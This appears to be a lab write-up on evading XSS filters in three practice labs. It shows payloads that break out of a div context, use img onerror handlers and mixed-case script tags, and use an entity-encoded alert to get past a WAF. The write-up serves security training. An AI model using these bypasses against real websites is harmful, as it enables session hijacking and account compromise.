XSS Filtering and Evasion

Labs from RXSS to practice filter evasion

Lab 11

Step 1: Check where our input is reflected

Our canary is reflected inside <div> tag

Reflected canary

Step 2: Escape from the context

This payload allows me to escape from the context

"</div><b>canary123</b>

Escape from context

Step 3: Craft an appropriate payload

However, the following payload did not work. After some trial and errors, we noticed that both the alert function and script tag were filtered by the web application.

"</div><script>alert(canary123)</script>

We had to think of a way to fire XSS without the use of script and alert.

This payload below fired a XSS.

"</div><img src="x" onerror="confirm()">

// An alternative solution would be
<sCript>confirm()</sCript>

XSS

Lab 12

Step 1: Identify where my input get reflected

My input get reflected inside a <div> tag.

Reflected XSS

Step 2: Try to escape the context

We were able to escape from the context with this payload

"</div><b>canary123</b>

Step 3: Craft an appropriate payload

// with this payload we noticed that the script tag was sanitized.
"</div><script>canary123</script>

// we modified the spelling of the script tag and were able to escape the context.
"</div><sCript>canary123</sCript>

Next, we tried to identify whether the alert tag get sanitized with this payload

"</div><sCript>alert(canary123)</sCript>

alert tag getting sanitized

However, the prompt() function worked to fire the XSS!

"</div><sCript>prompt("canary123")</sCript>

XSS fired with prompt() function instead of alert() being sanitized

Lab 13

Step 1: Identify where our canary get reflected

canary123 being reflected inside a <div> tag

Step 2: Try to escape the context

Again, this payload allows us to escape the context. HTML injection is thus possible.

"</div><b>canary123</b>

Step 3: Craft the payload

To identify what is being sanitized by the WAF and what does not, change only one parameter at the time in your crafted payload.

// Check if the script tag is sanitized - R: yes
"</div><script>canary123</script>

//Check if the script tag is sanitized if spelled wrongly - R: yes
"</div><sCript>canary123</sCript>

//Check if we can double embedded the script tag within a script tag R: No
"</div><scscriptript>canary123</sscriptript>

//Check if <img> tag get sanitized - R: No!
"</div><img src="canary123">

Example of the script tag being sanitized by the WAF

After few attempts, the testers noticed that the img tag was not sanitized. This tag could be used to craft a proper payload.

Now, the testers had to identify what functions and attributes can lead to a XSS. Crafting the proper payload is a lot of trials and errors.

//This payload is being sanitized
"</div><img src="canary123" onerror="alert(1)">

//Check if this payload is getting sanitized - R: Yes
"</div><img src="canary123" onerror=alert(1)>

//Check if this get sanitized - R: Yes
"</div><img src="javascript:alert(1)">

//Check if this get sanitized - R: Yes
"</div><img src="javascript:prompt(1)">

After few attempts, we noticed that prompt(), alert() and confirm() were all functions being blocked by the WAF. However, I searched on Google how to bypass the alert() function and found this payload:

"</div><img onerror=a&#x006c;ert(1) src=a>

The alert() function is weirdly spelled so it did not get blocked by the WAF but correctly interpreted by the browser, which allows me to fire the XSS!